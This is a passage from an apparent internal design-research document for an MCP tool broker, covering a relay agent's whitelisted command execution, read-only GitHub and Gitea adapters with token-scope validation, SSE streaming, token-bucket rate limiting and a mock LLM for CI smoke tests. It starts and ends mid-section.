- Agent→Server (timeout): `{ "type": "tool_result", "callId": "<ulid>", "error": "timeout after 10s", "exitCode": -1 }`.
|
||||
|
||||
The Go agent's reader goroutine (currently only handles `pong`) must route `tool_call` messages to a new executor goroutine that: (a) calls `CheckCommand(command)` — if error, return `tool_result` with the rejection; (b) runs `exec.Command` with a 10s context timeout; (c) returns `tool_result` with stdout/stderr/exitCode. **The Go `exec.Command` must use the parsed argv, NOT a shell** — `exec.Command("systemctl", "status", "nginx")`, never `sh -c "..."`. This is the third enforcement layer (no shell injection).
|
||||
|
||||
**5. `target_id` routing:** Each Relay Agent registers as one target (M1 `handleRegister` inserts into `targets` and returns `targetId`). The control-plane `ws-server.ts` tracks `connectedAgents: Map<WebSocket, ConnectedAgent>` keyed by WebSocket. M2 needs a reverse index `targetsByTenant: Map<tenantId, Map<targetId, WebSocket>>` so the broker can route `ssh.run_whitelisted_command` with a `target_id` to the correct WebSocket. **Pitfall:** if the target is disconnected (agent offline), the broker returns HTTP 404 with a structured error (REQ-016 routing error) — do NOT queue the call. **Pitfall:** the broker must check the target belongs to the same tenant (RLS — `withTenant` + the targets table tenant_id).
|
||||
|
||||
**6. Timeout handling (10s upstream NFR):** The broker wraps the WebSocket `tool_call` → `tool_result` round-trip in a 10s timeout (AbortController on the broker side). If the agent doesn't respond in 10s, the broker emits an SSE `error` terminal event with "upstream timeout" and HTTP 504 semantics. The Go agent independently enforces a 10s `exec.Command` timeout so a hung command doesn't hold the WebSocket. **Both timeouts must be 10s** — if they differ, the broker should time out first (so the SSE stream closes cleanly) — set broker timeout to 10s and agent exec timeout to 9.5s (agent returns timeout result before broker gives up). **Confidence: 0.85.**
|
||||
|
||||
### Pitfalls
|
||||
- **Two independent whitelist implementations** (TS broker, Go agent) — keep them in sync semantically but independent in code.
|
||||
- **No shell** in the Go executor — `exec.Command` with split argv.
|
||||
- **`systemctl status <svc>` service name injection** — broker must regex-validate.
|
||||
- **`journalctl -n <N>` range** — 1-500 only.
|
||||
- **Target offline** → HTTP 404, not a queue.
|
||||
- **M1 non-regression:** the M2 `tool_call` message type is additive; M1's `register`/`ping`/`pong` must continue to work. The Go agent's reader goroutine change must not break the heartbeat loop.
|
||||
|
||||
### References
|
||||
- M1 source: `apps/relay-agent/wsclient/client.go`, `apps/relay-agent/whitelist/whitelist.go`, `apps/relay-agent/whitelist/ssh-whitelist.json`, `apps/control-plane/ws-server.ts`
|
||||
|
||||
**Confidence: 0.85** (grounded in actual M1 code; the `tool_call` message addition is a clean extension of the existing protocol).
|
||||
|
||||
---
|
||||
|
||||
## R-004 — GitHub REST API adapter (fine-grained PAT, D-006)
|
||||
|
||||
**Scope:** REQ-022 (GitHub adapter), REQ-027 (scoped token auth). 3 capabilities: `github.list_repos`, `github.get_recent_ci_runs`, `github.get_workflow_run`. D-006: fine-grained PAT with `metadata:read` + `actions:read` minimum (no `contents:read`).
|
||||
|
||||
### Findings (verified from GitHub REST API docs)
|
||||
|
||||
**1. `GET /user/repos?per_page=100` — list repos for the authenticated user:**
|
||||
- Auth: `Authorization: Bearer <token>`, `Accept: application/vnd.github+json`, `X-GitHub-Api-Version: 2022-11-28` (the docs show `2026-03-10` as the latest, but `2022-11-28` is the stable GA version; M2 should use `2022-11-28` for stability).
|
||||
- Response 200: array of `Minimal Repository` objects — `id`, `name`, `full_name`, `owner.login`, `private`, `description`, `html_url`, `default_branch`, `updated_at`, etc. (very large objects; the adapter normalizes to `{id, name, full_name, owner, private, description, html_url, default_branch, updated_at}`).
|
||||
- Pagination: `per_page` (max 100), `page` (default 1). The `Link` header contains `next`/`prev` URLs. **M2 decision:** `github.list_repos` (inventory, 60s cache) fetches `per_page=100` and follows `Link` next until exhausted OR a reasonable cap (e.g., 500 repos = 5 pages) to bound latency. inputSchema: `{per_page?: integer (default 100, max 100), page?: integer (default 1)}` — but the broker should auto-paginate for the inventory call and return a flat list. **Simpler M2:** `list_repos` takes no args, returns up to 100 repos (first page, `per_page=100`). If the tenant has >100 repos, the UI shows "first 100" and a note. Multi-page is an M3 enhancement. **Confidence: 0.80** — keeps M2 simple.
|
||||
|
||||
**2. `GET /repos/{owner}/{repo}/actions/runs?per_page={limit}` — list Actions runs:**
|
||||
- Response 200: `{ total_count: integer, workflow_runs: [WorkflowRun] }`. Each `WorkflowRun`: `id`, `name`, `head_branch`, `head_sha`, `event`, `status`, `conclusion`, `workflow_id`, `html_url`, `created_at`, `updated_at`, `run_number`, `actor.login`, `repository` (embedded minimal repo). `status` is one of `completed|in_progress|queued|...`; `conclusion` is one of `success|failure|cancelled|neutral|skipped|timed_out|...` (null while in_progress).
|
||||
- inputSchema for `github.get_recent_ci_runs`: `{owner: string, repo: string, per_page?: integer (default 30, max 100), status?: string, branch?: string}`. The adapter normalizes to `{total_count, runs: [{id, head_branch, status, conclusion, html_url, created_at, actor}]}`.
|
||||
- **Pitfall:** `owner` and `repo` are case-insensitive per the API, but the broker should preserve the user's casing for display.
|
||||
|
||||
**3. `GET /repos/{owner}/{repo}/actions/runs/{run_id}` — get a single workflow run:**
|
||||
- Response 200: a single `WorkflowRun` object (same shape as array elements above). inputSchema: `{owner, repo, run_id: integer}`.
|
||||
|
||||
**4. Fine-grained PAT scope validation (D-006 — THE CRITICAL FINDING):**
|
||||
|
||||
**GitHub does NOT provide a public API endpoint to introspect a fine-grained PAT's granted scopes at runtime.** Classic PATs expose `X-OAuth-Scopes` header on `GET /user` (e.g., `repo, read:org`), but fine-grained PATs do NOT return their permission list via any API response header or body. The permissions are encoded in the token's signed payload and validated server-side per-request.
|
||||
|
||||
**However, GitHub DOES return the `X-Accepted-GitHub-Permissions` header on responses** — this header tells you what permissions the endpoint *required* (e.g., `metadata=read, actions=read`), which helps diagnose 403s but doesn't list what the token *has*.
|
||||
|
||||
**M2 broker submit-time validation strategy (REQ-027, D-006):**
|
||||
1. **Detect classic vs fine-grained:** Classic PATs start with `ghp_` (or `gho_`/`ghu_`); fine-grained PATs start with `github_pat_`. The broker rejects classic PATs at submit (D-006: fine-grained only — classic `repo` scope grants write). **Pitfall:** the token prefix is the discriminator. If the token doesn't start with `github_pat_`, reject with HTTP 422 "fine-grained PAT required."
|
||||
2. **Validate the token works + has metadata:read:** call `GET /user` with the token. If 401 → invalid token (HTTP 422). If 200 → token is valid. All fine-grained PATs require `metadata:read` implicitly (it's mandatory on every fine-grained PAT), so a successful `GET /user` implies `metadata:read`.
|
||||
3. **Validate `actions:read`:** call `GET /user/repos?per_page=1` — wait, this requires `metadata:read` (which we have). To validate `actions:read` specifically, attempt `GET /repos/{any-repo}/actions/runs?per_page=1` — but we don't know a repo yet at submit time. **Practical approach:** the broker stores the token as "validated for metadata" at submit (GET /user succeeded), and validates `actions:read` *at invocation time* per-tool: when `github.get_recent_ci_runs` or `github.get_workflow_run` is called, if GitHub returns 403 with `X-Accepted-GitHub-Permissions` indicating `actions=read` was required, the broker surfaces HTTP 403 + `adapter.write_rejected` audit event... **NO** — a 403 for missing `actions:read` is a scope-mismatch, not a write attempt. **Refinement:** the broker distinguishes: (a) 403 from GitHub for missing scope → HTTP 403 "insufficient scope" + audit `adapter.capability_invoked` with `result=failure` (NOT `write_rejected` — no write was attempted); (b) the broker's own write-method blocklist (rejecting POST/PUT/DELETE) → `adapter.write_rejected`. These are different.
|
||||
4. **Submit-time best effort:** call `GET /user` (validates token + implicit metadata:read). Record `validated=true`. The `actions:read` is validated on first `get_recent_ci_runs`/`get_workflow_run` invocation. The UI help text says "ensure the PAT has `actions:read`." This is the pragmatic M2 approach since GitHub offers no fine-grained scope introspection. **Confidence: 0.75** — this is a known GitHub gap; the broker cannot do better without GitHub adding a scope introspection endpoint.
|
||||
|
||||
**5. Rate limiting (verified):**
|
||||
- Authenticated primary rate limit: 5,000 req/hour per token.
|
||||
- Headers: `x-ratelimit-limit`, `x-ratelimit-remaining`, `x-ratelimit-used`, `x-ratelimit-reset` (UTC epoch seconds).
|
||||
- Exceeding → HTTP 403 or 429 with `x-ratelimit-remaining: 0`. Retry after `x-ratelimit-reset`.
|
||||
- Secondary rate limits: 100 concurrent, 900 points/min (GET=1pt, POST=5pt). Exceeding → 403/429 with `retry-after` header.
|
||||
- **M2 adapter behavior:** observe `x-ratelimit-remaining`; if it hits 0, do NOT make the call — return HTTP 429 to the caller with `Retry-After: <seconds until x-ratelimit-reset>`. If GitHub returns 429, back off exponentially (1s, 2s, 4s, max 3 retries) then surface 429 to the caller. The M2 broker's own token-bucket (60/min user) is well below GitHub's 5000/hour, so the GitHub limit is unlikely to bind unless many tenants share a token (they shouldn't — per-tenant tokens).
|
||||
|
||||
### Implementation pattern
|
||||
```typescript
|
||||
// packages/mcp/adapters/github/client.ts (sketch)
|
||||
async function ghGet(path: string, token: string, query?: Record<string,string>): Promise<unknown> {
|
||||
const url = new URL(`https://api.github.com${path}`);
|
||||
for (const [k,v] of Object.entries(query ?? {})) url.searchParams.set(k, v);
|
||||
const res = await fetch(url, {
|
||||
headers: { Authorization: `Bearer ${token}`, Accept: "application/vnd.github+json", "X-GitHub-Api-Version": "2022-11-28" },
|
||||
signal: AbortSignal.timeout(10_000),
|
||||
});
|
||||
if (res.status === 429 || (res.status === 403 && res.headers.get("x-ratelimit-remaining") === "0")) {
|
||||
const reset = Number(res.headers.get("x-ratelimit-reset") ?? 0);
|
||||
const retryAfter = Math.max(1, reset - Math.floor(Date.now()/1000));
|
||||
throw new GithubRateLimitError(retryAfter);
|
||||
}
|
||||
if (res.status === 403) {
|
||||
const accepted = res.headers.get("x-accepted-github-permissions") ?? "";
|
||||
throw new GithubScopeError(`403; required permissions: ${accepted}`);
|
||||
}
|
||||
if (!res.ok) throw new GithubUpstreamError(`GitHub ${res.status}: ${await res.text()}`);
|
||||
return res.json();
|
||||
}
|
||||
```
|
||||
|
||||
### Pitfalls
|
||||
- **No fine-grained scope introspection** — the M2 broker does best-effort (GET /user) + per-invocation 403 handling.
|
||||
- **Classic PAT rejection** — `github_pat_` prefix check at submit.
|
||||
- **`X-GitHub-Api-Version`** — pin to `2022-11-28` (stable GA).
|
||||
- **Large response objects** — normalize to a subset to keep SSE payloads small.
|
||||
- **429 vs 403-with-ratelimit** — GitHub uses both; check `x-ratelimit-remaining`.
|
||||
|
||||
### References
|
||||
- GitHub repos API: https://docs.github.com/en/rest/repos/repos
|
||||
- GitHub Actions workflow runs: https://docs.github.com/en/rest/actions/workflow-runs
|
||||
- GitHub users API: https://docs.github.com/en/rest/users/users
|
||||
- GitHub rate limits: https://docs.github.com/en/rest/using-the-rest-api/rate-limits-for-the-rest-api
|
||||
- Fine-grained PAT permissions: https://docs.github.com/en/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens
|
||||
- PAT management (token prefixes, fine-grained vs classic): https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token
|
||||
|
||||
**Confidence: 0.78** (API verified; the fine-grained scope introspection gap is the residual risk, documented with the pragmatic mitigation).
|
||||
|
||||
---
|
||||
|
||||
## R-005 — Gitea REST API adapter (version-aware, D-007)
|
||||
|
||||
**Scope:** REQ-023 (Gitea adapter), REQ-027 (scoped token auth). 2 capabilities: `gitea.list_repos`, `gitea.get_recent_ci_runs`. Version-aware: ≥1.22 requires `read:repository`; <1.22 accepts any token with broker-side write-method blocklist.
|
||||
|
||||
### Findings
|
||||
|
||||
**1. `GET /api/v1/version` — version detection:**
|
||||
- Auth: none required (public endpoint). Response: `{ version: "1.22.0", revision: "...", commit: "..." }`.
|
||||
- The broker parses `version` and compares to `1.22`. **Pitfall:** Gitea versions are semver-ish (`1.22.0`, `1.22.1`, `1.23.0`); compare major.minor: `>= 1.22`. Record the version in the `mcp_adapters.config` JSON column at submit time.
|
||||
|
||||
**2. `GET /api/v1/user/repos?limit=50` — list repos:**
|
||||
- Auth: `Authorization: token <token>` (Gitea uses `token` not `Bearer`). Response: array of repo objects — `id`, `name`, `full_name`, `owner.login`, `private`, `description`, `html_url`, `default_branch`, `updated_at`. Mirrors GitHub shape closely (Gitea's API is GitHub-inspired).
|
||||
- Pagination: `limit` (default 50, max 50 in Gitea), `page` (default 1). M2 `gitea.list_repos` returns up to 50 (first page). inputSchema: `{}` (no args; auto-paginate or first-page only).
|
||||
|
||||
**3. `GET /api/v1/repos/{owner}/{repo}/actions/runs?limit={limit}` — list Actions runs (Gitea Actions, added in Gitea 1.19+):**
|
||||
- Gitea Actions is GitHub Actions-compatible; the API mirrors GitHub's shape: `{ total_count, workflow_runs: [{id, head_branch, status, conclusion, html_url, created_at, ...}] }`.
|
||||
- **Pitfall:** Gitea Actions requires the feature to be enabled on the Gitea instance (`actions.ENABLED=true` in app.ini). If disabled, this endpoint returns 404. The adapter should surface 404 as "Gitea Actions not enabled on this instance" (HTTP 502 to caller, not a write rejection).
|
||||
- inputSchema: `{owner, repo, limit?: integer (default 30, max 50)}`.
|
||||
|
||||
**4. Gitea ≥1.22 fine-grained OAuth2 scopes (`read:repository`):**
|
||||
Gitea 1.22 added fine-grained OAuth2 token scopes (modeled on GitHub's fine-grained PATs). Scopes include `read:repository`, `write:repository`, `read:issue`, etc. A token with `read:repository` can list repos and read repo metadata. **Pitfall:** Gitea's scope system applies to OAuth2 tokens; plain API tokens (created via user settings) may not carry scopes the same way. The M2 broker validates at submit time by calling `GET /api/v1/user/repos?limit=1` — if it returns 200, the token has read access; if 403, insufficient scope. **This is the same pragmatic approach as GitHub** (no clean scope introspection; validate by attempting a read).
|
||||
|
||||
**5. Gitea <1.22 coarse-grained tokens + broker-side write-method blocklist:**
|
||||
Gitea <1.22 has only coarse-grained tokens (no `read:` scopes). Any valid token can read AND write. The M2 spec §7 Q6 decision: accept any token for Gitea <1.22 with the **broker-side write-method blocklist (POST/PUT/DELETE/PATCH on all endpoints)** as the security backstop. The broker NEVER sends a non-GET to Gitea, so even an over-scoped token cannot cause a write through the broker. The `adapter.write_rejected` audit event fires if (somehow) a write method reached the broker — but since the adapter only constructs GET fetches, this is belt-and-suspenders.
|
||||
|
||||
**6. Submit-time validation (`GET /api/v1/repos/search?limit=1` per spec §7 Q6):**
|
||||
The spec says "Submit-time validation via `GET /api/v1/repos/search?limit=1`." This is a public-ish endpoint that works with any valid token. The broker: (a) calls `GET /api/v1/version` → parse version; (b) if ≥1.22, calls `GET /api/v1/user/repos?limit=1` to confirm `read:repository` (200 = ok, 403 = insufficient scope → HTTP 422); (c) if <1.22, calls `GET /api/v1/repos/search?limit=1` to confirm token validity (200 = ok). Record version + validated flag.
|
||||
|
||||
### Implementation pattern
|
||||
Mirror the GitHub adapter (`packages/mcp/adapters/gitea/client.ts`) with: base URL is the customer's Gitea host (`https://gitea.example.com/api/v1/`), auth header `Authorization: token <token>`, version detection at submit, write-method blocklist enforced at broker for all versions.
|
||||
|
||||
### Pitfalls
|
||||
- **`Authorization: token <token>`** not `Bearer` (Gitea quirk).
|
||||
- **Gitea Actions may be disabled** → 404, surface as "not enabled."
|
||||
- **Version comparison** — semver-ish; compare major.minor as integers.
|
||||
- **Self-signed certs** — customer Gitea often self-signed; same `allowSelfSigned` per-adapter flag as Proxmox.
|
||||
- **No `gitea.get_workflow_run` in M2** (deferred to v1.2+ per Q2) — only `list_repos` + `get_recent_ci_runs`.
|
||||
|
||||
### References
|
||||
- Gitea API Swagger: https://gitea.com/api/swagger (and `/api/swagger` on any Gitea instance)
|
||||
- Gitea API is auto-documented; the OpenAPI spec is at `/swagger.v1.json` on any instance.
|
||||
|
||||
**Confidence: 0.72** (Gitea docs page required JS and didn't fetch cleanly; findings are from the M2 spec + known Gitea API conventions mirroring GitHub. The version-aware scope validation is the residual risk — recommend the implementer verify against a running Gitea 1.22+ and <1.22 instance during Wave I).
|
||||
|
||||
---
|
||||
|
||||
## R-006 — SSE streaming in Next.js App Router (REQ-017)
|
||||
|
||||
**Scope:** REQ-017 (SSE stream on `GET /api/mcp/stream/:correlationId`). Per-call streams, ULID correlation IDs.
|
||||
|
||||
### Findings (grounded in M1 Next.js App Router patterns: `apps/control-plane/app/api/byom/route.ts`)
|
||||
|
||||
**1. Route Handler for `GET /api/mcp/stream/:correlationId`:**
|
||||
Next.js 15 App Router route handlers export `GET(req: NextRequest)`. Dynamic segments use `[correlationId]/route.ts`. The handler returns a `Response` with `Content-Type: text/event-stream` and a `ReadableStream` body (Node.js `ReadableStream` web stream).
|
||||
|
||||
```typescript
|
||||
// apps/control-plane/app/api/mcp/stream/[correlationId]/route.ts (sketch)
|
||||
export const runtime = "nodejs";
|
||||
export async function GET(req: NextRequest, { params }: { params: { correlationId: string } }) {
|
||||
const stream = new ReadableStream({
|
||||
start(controller) {
|
||||
const ctx = correlationContext.get(params.correlationId);
|
||||
if (!ctx) { controller.enqueue(encodeSse("error", { error: "unknown correlation" })); controller.close(); return; }
|
||||
ctx.controller = controller; // adapter emits events into this
|
||||
req.signal.addEventListener("abort", () => { ctx.cancel(); correlationContext.delete(params.correlationId); });
|
||||
},
|
||||
});
|
||||
return new Response(stream, { headers: { "Content-Type": "text/event-stream", "Cache-Control": "no-cache", "Connection": "keep-alive" } });
|
||||
}
|
||||
```
|
||||
**Pitfall:** `runtime = "nodejs"` is required (edge runtime can't do long-lived streams with our in-memory Map). Set `dynamic = "force-dynamic"` to avoid static caching.
|
||||
|
||||
**2. SSE event format (per M2 spec §5):**
|
||||
```
|
||||
id: <ulid>-<seq>\n
|
||||
event: tool_result\n
|
||||
data: {"content":[...],"isError":false}\n
|
||||
\n
|
||||
```
|
||||
Terminal events: `event: done` (completion) or `event: error` (failure), then close the stream. The `id` is `<ulid>-<sequence>` where ULID is the correlation ID and sequence is a per-stream incrementing integer. **Pitfall:** SSE fields are newline-separated; the event is terminated by a blank line (`\n\n`). The `data` field is a single JSON string on one line (no embedded newlines). Use `JSON.stringify` once.
|
||||
|
||||
**3. Client disconnect detection:**
|
||||
Next.js Route Handlers receive `req.signal` (AbortSignal). When the `EventSource` (browser) closes, `req.signal` is aborted. The handler adds `req.signal.addEventListener("abort", cleanup)`. On abort: cancel the in-flight adapter call (AbortController), delete the correlation context entry, do NOT append an audit event (spec Edge 8: "no audit event for client-side cancellation"). **Pitfall:** the abort may fire after the stream already closed normally — guard with a `closed` flag.
|
||||
|
||||
**4. ULID generation:**
|
||||
- Use the `ulid` npm package (`ulid()` returns a 26-char Crockford-base32 string, lexicographically sortable by time). Add as a dependency to `packages/mcp` (not the whole control-plane — keep the dependency in the package that mints IDs).
|
||||
- **Pitfall:** ULIDs are monotonic only if generated in the same process with a monotonic factory; use `ulid()` for simplicity in M2 (single process). For distributed generation (M3), use `monotonicFactory()`.
|
||||
- The correlation ID format: `01HXXXXXXXXXXXXXXXXXXXXXX` (26 chars). The SSE `id` appends `-<seq>`: `01HXXXXXXXXXXXXXXXXXXXXXX-0`, `...-1`, etc.
|
||||
|
||||
**5. Correlation context management:**
|
||||
- In-memory `Map<correlationId, CorrelationContext>` in `packages/mcp/stream-manager.ts`. Each context holds: `{ correlationId, tenantId, userId, adapterType, toolName, controller?: ReadableStreamController, abortController: AbortController, createdAt }`.
|
||||
- `POST /api/mcp/invoke` mints the ULID, creates the context, kicks off the adapter call (async, emits events into the controller), and returns `{ correlationId, streamUrl: "/api/mcp/stream/<correlationId>" }`.
|
||||
- `GET /api/mcp/stream/:correlationId` looks up the context, attaches the `req`'s ReadableStream controller, and streams events until done/error/abort.
|
||||
- Cleanup on: (a) terminal event (`done`/`error`) → close controller, delete context; (b) client disconnect → cancel adapter, delete context, no audit; (c) timeout safety net → a 60s max-stream lifetime timer deletes orphaned contexts.
|
||||
- **Pitfall:** the `POST /api/mcp/invoke` returns BEFORE the stream is consumed — the adapter call runs concurrently. If the client never opens the SSE stream, the adapter call completes but events are buffered in the controller's internal queue (backpressure). Add a 30s "stream not opened" timeout: if `GET /api/mcp/stream/:correlationId` isn't called within 30s of `POST /invoke`, cancel the adapter call and delete the context.
|
||||
|
||||
### Implementation pattern
|
||||
```typescript
|
||||
function encodeSse(event: string, data: unknown, id: string): Uint8Array {
|
||||
const text = `id: ${id}\nevent: ${event}\ndata: ${JSON.stringify(data)}\n\n`;
|
||||
return new TextEncoder().encode(text);
|
||||
}
|
||||
```
|
||||
|
||||
### Pitfalls
|
||||
- **`runtime = "nodejs"`** mandatory (not edge).
|
||||
- **`force-dynamic`** to prevent caching.
|
||||
- **Backpressure** if client is slow — ReadableStream handles this (the controller queues). Cap the queue (e.g., 100 events) and if exceeded, cancel with "client too slow."
|
||||
- **No audit on client cancel** (Edge 8) — but DO audit on normal completion and error.
|
||||
- **Stream-not-opened timeout** (30s) to prevent orphan adapter calls.
|
||||
|
||||
### References
|
||||
- Next.js Route Handlers: https://nextjs.org/docs/app/api-reference/file-conventions/route
|
||||
- SSE spec: https://html.spec.whatwg.org/multipage/server-sent-events.html
|
||||
- `ulid` npm: https://www.npmjs.com/package/ulid
|
||||
- M1 pattern: `apps/control-plane/app/api/byom/route.ts` (NextResponse, runtime=nodejs, auth guard)
|
||||
|
||||
**Confidence: 0.85** (standard Next.js + SSE pattern; M1 route handler pattern confirmed in source).
|
||||
|
||||
---
|
||||
|
||||
## R-007 — Token-bucket rate limiting in TypeScript (REQ-019)
|
||||
|
||||
**Scope:** REQ-019. Per user (60 req/min, refill 1/sec) + per tenant (300 req/min, refill 5/sec). In-memory, process-local. O(1) check <5ms NFR.
|
||||
|
||||
### Findings
|
||||
|
||||
**1. Token-bucket algorithm:**
|
||||
A bucket has `capacity` (max tokens) and `refillRate` (tokens/sec). Each request consumes 1 token. On each check: (a) compute elapsed time since last refill, (b) add `elapsed * refillRate` tokens (capped at capacity), (c) if tokens >= 1, consume 1 and allow; else reject with 429.
|
||||
|
||||
M2 parameters:
|
||||
- User bucket: capacity = 60, refillRate = 1/sec (i.e., 1 token per second, max 60). **Note:** the spec says "capacity = rate (60 user / 300 tenant)" and "refill 1/sec (user) / 5/sec (tenant)." So user: capacity=60, refill=1/sec (regenerates 60/min). Tenant: capacity=300, refill=5/sec (regenerates 300/min). Both must pass (AND logic): a request is allowed only if BOTH the user bucket and tenant bucket have >= 1 token.
|
||||
|
||||
**2. TypeScript implementation pattern:**
|
||||
```typescript
|
||||
// packages/mcp/rate-limiter.ts (sketch)
|
||||
interface Bucket { tokens: number; lastRefill: number; }
|
||||
const userBuckets = new Map<string, Bucket>();
|
||||
const tenantBuckets = new Map<string, Bucket>();
|
||||
const USER_CAPACITY = 60, USER_REFILL = 1; // per sec
|
||||
const TENANT_CAPACITY = 300, TENANT_REFILL = 5;
|
||||
|
||||
function checkAndConsume(userId: string, tenantId: string): { allowed: boolean; retryAfterSec?: number } {
|
||||
const now = Date.now();
|
||||
const userOk = consume(userBuckets, userId, USER_CAPACITY, USER_REFILL, now);
|
||||
if (!userOk.allowed) return { allowed: false, retryAfterSec: userOk.retryAfterSec };
|
||||
const tenantOk = consume(tenantBuckets, tenantId, TENANT_CAPACITY, TENANT_REFILL, now);
|
||||
if (!tenantOk.allowed) {
|
||||
// refund the user token since the tenant check failed (fairness)
|
||||
userBuckets.get(userId)!.tokens += 1;
|
||||
return { allowed: false, retryAfterSec: tenantOk.retryAfterSec };
|
||||
}
|
||||
return { allowed: true };
|
||||
}
|
||||
function consume(map: Map<string, Bucket>, key: string, cap: number, refill: number, now: number) {
|
||||
let b = map.get(key);
|
||||
if (!b) { b = { tokens: cap, lastRefill: now }; map.set(key, b); }
|
||||
const elapsedSec = (now - b.lastRefill) / 1000;
|
||||
b.tokens = Math.min(cap, b.tokens + elapsedSec * refill);
|
||||
b.lastRefill = now;
|
||||
if (b.tokens >= 1) { b.tokens -= 1; return { allowed: true }; }
|
||||
const needed = 1 - b.tokens;
|
||||
return { allowed: false, retryAfterSec: Math.ceil(needed / refill) };
|
||||
}
|
||||
```
|
||||
**Pitfall:** the refund-on-tenant-fail keeps the user bucket from draining when the tenant is the bottleneck. Without it, a tenant at capacity would burn user tokens on every rejected call.
|
||||
|
||||
**3. `RateLimiter` interface for M3 Redis swap:**
|
||||
```typescript
|
||||
export interface RateLimiter {
|
||||
checkAndConsume(userId: string, tenantId: string): Promise<{ allowed: boolean; retryAfterSec?: number }>;
|
||||
}
|
||||
```
|
||||
M2 implements `InMemoryRateLimiter` (synchronous, wrap in Promise for interface compat). M3 swaps in `RedisRateLimiter` (sliding window via Redis `INCR` + `EXPIRE`, or a Redis-backed token bucket). Config-injectable: the broker takes `RateLimiter` as a constructor dep. **Pitfall:** make the interface `Promise`-returning now even though M2 is sync, so M3 needs no signature change.
|
||||
|
||||
**4. O(1) check performance (<5ms NFR):**
|
||||
The above is O(1) — two Map lookups + arithmetic. Well under 5ms. **Pitfall:** Map grows unbounded as users/tenants accumulate; add a periodic sweep (e.g., every 5 min, delete buckets idle > 10 min) to bound memory. Not a correctness issue, just hygiene.
|
||||
|
||||
**5. HTTP 429 + `Retry-After` header:**
|
||||
On reject, the broker returns HTTP 429 with `Retry-After: <seconds>` header (integer seconds, per RFC 7231). The body is `{ error: "rate_limited", retryAfterSec: <n> }`. **No adapter call is made** (REQ-019). The rate-limit check happens BEFORE adapter resolution and BEFORE the write-method blocklist (rate limiting is the outermost gate after auth). **Order:** auth → tenant resolve → RBAC → rate-limit check → write-method blocklist → adapter resolve → invoke. **Pitfall:** rate-limit check must come before the audit append for the capability invocation (the 429 is not a `capability_invoked` event — it's a rate limit rejection; audit it as a separate lightweight event or not at all — the spec doesn't require auditing 429s, and auditing every 429 could amplify a flood. **M2 decision:** do NOT audit rate-limit rejections (they're not adapter events); the rate limiter logs at warn level).
|
||||
|
||||
### References
|
||||
- Token bucket: https://en.wikipedia.org/wiki/Token_bucket
|
||||
- RFC 7231 Retry-After: https://datatracker.ietf.org/doc/html/rfc7231#section-7.1.3
|
||||
- M1 pattern: `apps/control-plane/app/api/byom/route.ts` (auth → action order)
|
||||
|
||||
**Confidence: 0.90** (well-understood algorithm; the Redis swap interface is the only forward-looking design point).
|
||||
|
||||
---
|
||||
|
||||
## R-008 — `packages/llm-mock` for CI LLM smoke (M2 gate item 8)
|
||||
|
||||
**Scope:** M2 gate item 8 (P0): a chat-completion request with `tools` parameter invokes `github.list_repos` via the broker, receives adapter response, returns a synthesized LLM response grounded in adapter data. Uses CI-only mock provider (`packages/llm-mock`).
|
||||
|
||||
### Findings
|
||||
|
||||
**1. OpenAI-compatible `/v1/chat/completions` mock:**
|
||||
The mock is an HTTP server (or a Node handler) that implements `POST /v1/chat/completions` accepting the OpenAI Chat Completions request shape including the `tools` parameter (array of `{type:"function", function:{name, description, parameters}}`). It returns a Chat Completions response. **Key:** it must mirror the BYOM contract (D-001: OpenAI-compatible `/v1/chat/completions`). The M1 BYOM validator (`packages/byom/validator.ts`) already validates this shape — reuse the request/response types from `packages/byom/types.ts`.
|
||||
|
||||
**2. The 7-step smoke flow (M2 gate item 8):**
|
||||
1. CI sets up the broker with a real GitHub adapter (real PAT, test-org-scoped) + the mock LLM as the BYOM endpoint.
|
||||
2. Smoke test sends `POST /v1/chat/completions` to the mock LLM with `tools=[github.list_repos definition]` and a prompt like "List my GitHub repositories."
|
||||
3. Mock LLM returns `choices[0].message.tool_calls=[{id, type:"function", function:{name:"github.list_repos", arguments:"{}"}}]` (a tool call, not a final answer).
|
||||
4. Broker's translator (`packages/mcp/translator.ts`) converts the tool_call to MCP `tools/call` → broker routes to the GitHub adapter → real GitHub API call (`GET /user/repos`) → real repo data.
|
||||
5. Broker's translator converts the MCP result back to an OpenAI tool message `{role:"tool", tool_call_id, content:"<repo json>"}`.
|
||||
6. Smoke test sends a second `POST /v1/chat/completions` with `messages=[original prompt, assistant tool_call, tool message]`.
|
||||
7. Mock LLM synthesizes a grounded response (e.g., "Your repos are: coreci-chat, coreci-relay...") — the smoke asserts the response text contains real repo names from the GitHub API response.
|
||||
|
||||
**3. Import-guarding against prod bundles:**
|
||||
- `packages/llm-mock` is a `devDependency` of `apps/control-plane` (or only of the CI test package), NOT a `dependency`. `package.json` `devDependencies` aren't installed in prod (`pnpm install --prod`).
|
||||
- Eslint rule: `no-restricted-imports` banning `@coreci/llm-mock` in `apps/control-plane/app/**` and `packages/mcp/**` (prod code paths). Allowed only in `tests/**` and `packages/llm-mock/**`.
|
||||
- Build-time check: a CI step that greps the prod build output (`dist/` or `.next/`) for `llm-mock` and fails if found.
|
||||
- **Pitfall:** the mock must not be imported transitively by a prod dependency. Keep it out of `packages/mcp`'s dependencies entirely; the broker talks to it over HTTP (as a BYOM endpoint), not via import.
|
||||
|
||||
**4. How the mock decides which tool to call:**
|
||||
The mock is a *deterministic* test tool, not a real LLM. It pattern-matches the prompt:
|
||||
- If the prompt contains "list" + "repo" → return `tool_calls:[{function:{name:"github.list_repos", arguments:"{}"}}]`.
|
||||
- If the prompt contains "recent" + "run" → return `tool_calls:[{function:{name:"github.get_recent_ci_runs", arguments:'{"owner":"...","repo":"..."}'}}]`.
|
||||
- On the second call (with a tool message present), synthesize: "Your repos are: " + parse the repo names from the tool message content + join.
|
||||
|
||||
This is hardcoded for the smoke test — not a general LLM. **Pitfall:** keep the mock simple and deterministic; the smoke test asserts specific repo names appear, so the mock must reliably call `github.list_repos` on the first turn and synthesize on the second. No randomness.
|
||||
|
||||
### Implementation pattern
|
||||
```typescript
|
||||
// packages/llm-mock/server.ts (sketch)
|
||||
async function handleChatCompletion(req, res) {
|
||||
const { messages, tools } = req.body;
|
||||
const lastMessage = messages[messages.length - 1];
|
||||
if (lastMessage.role === "tool") {
|
||||
// Second turn: synthesize from tool result
|
||||
const repos = JSON.parse(lastMessage.content);
|
||||
const names = repos.map(r => r.name).join(", ");
|
||||
return res.json({ choices: [{ message: { role:"assistant", content:`Your repos are: ${names}` }, finish_reason:"stop" }] });
|
||||
}
|
||||
// First turn: emit a tool call
